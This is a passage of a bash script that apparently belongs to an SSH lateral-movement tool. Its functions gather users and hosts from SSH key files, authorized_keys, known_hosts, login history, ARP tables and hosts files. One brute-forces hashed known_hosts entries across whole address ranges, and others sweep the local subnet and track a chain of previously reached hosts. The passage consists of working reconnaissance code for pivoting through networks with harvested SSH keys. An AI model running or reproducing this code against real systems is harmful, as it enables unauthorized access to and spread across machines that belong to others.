done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort | uniq)
done < <(${s} find -L "$home_folder/.ssh" -type f 2>/dev/null)
done
}
find_user_from_file() {
local home_folder
for home_folder in "${!home_folders[@]}"; do
if [[ "$1" == "$home_folder"* ]]; then
basename -- "$home_folder"
return
fi
done
}
find_from_authorized_keys() {
local ssh_file
for ssh_file in "${!ssh_files[@]}"; do
local ssh_address
local home_user
[[ -z "$ssh_file" ]] && continue
home_user="$(find_user_from_file "$ssh_file")"
while IFS= read -r ssh_address; do
local ssh_host
[[ -z "$ssh_address" ]] && continue
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
done
}
find_from_last() {
local ssh_dest
last -aiw >/dev/null 2>&1 || return
while IFS= read -r ssh_dest; do
add_ssh_dest "$ssh_dest"
done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort | uniq)
}
find_from_known_hosts() {
local ssh_file
for ssh_file in "${!ssh_files[@]}"; do
local known_host_line
local home_user
home_user="$(find_user_from_file "$ssh_file")"
while IFS= read -r known_host_line; do
local ssh_host
local ssh_user
local ssh_dest
[[ -z "$known_host_line" ]] && continue
ssh_user="$(echo "$known_host_line" | grep -F -m 1 '@' | awk -F"@" '{print $1}')"
ssh_host="$(echo "$known_host_line" | grep -F -m 1 -v '@')"
ssh_dest="$(echo "$known_host_line" | grep -m 1 -oE "$allowed_users_chars"'@[^ :]+')"
add_ssh_user "$ssh_user"
add_ssh_host "$ssh_host"
add_ssh_dest "$ssh_dest"
[[ -n "$home_user" && -n "$ssh_host" ]] && add_ssh_dest "$home_user@$ssh_host"
done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort | uniq)
done
}
find_from_hosts() {
local ssh_host
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort | uniq)
while IFS=": " read -r _ ssh_host; do
add_ssh_host "$ssh_host"
done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort | uniq)
}
find_arp_neighbours() {
local ssh_host
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq)
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq)
}
find_d_block() {
local octets
local i
local current_ip
for current_ip in "${!current_ips[@]}"; do
IFS='.' read -ra octets < <(echo "$current_ip")
[[ ${#octets[@]} -eq 4 ]] || continue
for ((i=0; i<256; i++)); do
add_ssh_host "${octets[0]}.${octets[1]}.${octets[2]}.$i"
done
done
}
find_from_prev_dest() {
local chain_sl_dest
local ssh_user
local ssh_host
chain_sl_dest="${hosts_chain%[*}"
chain_sl_dest="${chain_sl_dest##*->}"
add_ssh_dest "$chain_sl_dest"
add_ssh_dest "$this_dest"
[[ -z "$SSH_CONNECTION" ]] && return
ssh_host="${SSH_CONNECTION%% *}"
add_ssh_host "$ssh_host"
}
find_from_ignore_list() {
local ssh_dest
for ssh_dest in "${!ignore_list_array[@]}"; do
add_ssh_dest "$ssh_dest"
done
}
find_from_hashed_known_hosts() {
local octets
local ssh_file
local current_ip
for ssh_file in "${!ssh_files[@]}"; do
local hashed_number
local home_user
local ssh_host
local i
local j
local ss
[[ -z "$ssh_file" ]] && continue
ss=""
[[ ! -r "$ssh_file" ]] && ss="$s"
home_user="$(find_user_from_file "$ssh_file")"
hashed_number="$(${ss} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -Ec ':[a-zA-Z0-9]{2} \|1\|')"
[[ $hashed_number -lt 1 ]] && continue
for ssh_host in "${!ssh_hosts[@]}"; do
local found_hosts_count
found_hosts_count=0
[[ $hashed_number -lt 1 ]] && break
found_hosts_count="$(${ss} "${sshkeygen[@]}" "$ssh_file" -F "$ssh_host" 2>/dev/null | grep -cE 'Host .* found')" && ((hashed_number -= found_hosts_count)) && [[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
done
[[ $hashed_number -lt 1 ]] && continue
for ssh_dest in "${!ignore_list_array[@]}"; do
local found_hosts_count
found_hosts_count=0
[[ $hashed_number -lt 1 ]] && break
ssh_host="${ssh_dest#*@}"
found_hosts_count="$(${ss} "${sshkeygen[@]}" "$ssh_file" -F "$ssh_host" 2>/dev/null | grep -cE 'Host .* found')" && ((hashed_number -= found_hosts_count)) && [[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
done
[[ $hashed_number -lt 1 ]] && continue
for current_ip in "${!current_ips[@]}"; do
[[ $hashed_number -lt 1 ]] && break
IFS='.' read -ra octets < <(echo "$current_ip")
[[ ${#octets[@]} -eq 4 ]] || continue
if command -v xargs >/dev/null 2>&1; then
for i in {0..255}; do
[[ $hashed_number -lt 1 ]] && break
while IFS= read -r ssh_host; do
ssh_host="${ssh_host#*Host }"
ssh_host="${ssh_host%% found*}"
add_ssh_host "$ssh_host"
((hashed_number--))
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
done < <(
for j in {0..255}; do
echo "${octets[0]}.${octets[1]}.$j.$i"
done | xargs -P 0 -n 1 ${ss} ssh-keygen -f "$ssh_file" -F 2>/dev/null | grep -F '# Host')
done
else
for ((i=0; i<256; i++)); do
[[ $hashed_number -lt 1 ]] && break
for ((j=0; j<256; j++)); do
local found_hosts_count
found_hosts_count=0
[[ $hashed_number -lt 1 ]] && break
ssh_host="${octets[0]}.${octets[1]}.$i.$j"
[[ -v 'ssh_hosts["$ssh_host"]' || ${#ssh_hosts["$ssh_host"]} -gt 0 ]] && continue
found_hosts_count="$(${ss} "${sshkeygen[@]}" "$ssh_file" -F "$ssh_host" 2>/dev/null | grep -cE 'Host .* found')" && ((hashed_number -= found_hosts_count)) && [[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
done
done
fi
done
done
}
find_all() {
retry_all_dests
find_home_folders
init_ssh_files
find_ssh_keys
find_ssh_keys_paths
find_from_bash_history
find_from_ssh_config
(( ${#priv_keys[@]} )) || fin
find_from_authorized_keys
find_from_last
find_from_known_hosts
find_from_hosts
find_arp_neighbours
find_d_block
find_from_prev_dest
find_from_ignore_list
find_from_hashed_known_hosts
}
combinate_users_hosts_aggressive() {
local ssh_user
local ssh_host
for ssh_host in "${interesting_hosts[@]}"; do
add_ssh_host "$ssh_host"
done
for ssh_user in "${interesting_users[@]}"; do
add_ssh_user "$ssh_user"
done
for ssh_dest in "${interesting_dests[@]}"; do
add_ssh_dest "$ssh_dest"
done
for ssh_host in "${!ssh_hosts[@]}"; do
for ssh_user in "${!ssh_users[@]}"; do
add_ssh_dest "$ssh_user@$ssh_host"
done
done
}
combinate_interesting_users_hosts() {
local ssh_user
local ssh_host
for ssh_dest in "${interesting_dests[@]}"; do
add_ssh_dest "$ssh_dest"
done
for ssh_user in "${interesting_users[@]}"; do
add_ssh_user "$ssh_user"
for ssh_host in "${!ssh_hosts[@]}"; do
add_ssh_dest "$ssh_user@$ssh_host"
done
done
for ssh_host in "${interesting_hosts[@]}"; do
add_ssh_host "$ssh_host"
for ssh_user in "${!ssh_users[@]}"; do
add_ssh_dest "$ssh_user@$ssh_host"
done
done
for ssh_host in "${interesting_hosts[@]}"; do
for ssh_user in "${interesting_users[@]}"; do
add_ssh_dest "$ssh_user@$ssh_host"
done
done
}
deduplicate_resolved_hosts_keys() {
local ssh_dest
declare -A valid_ssh_dests
declare -A resolved_hosts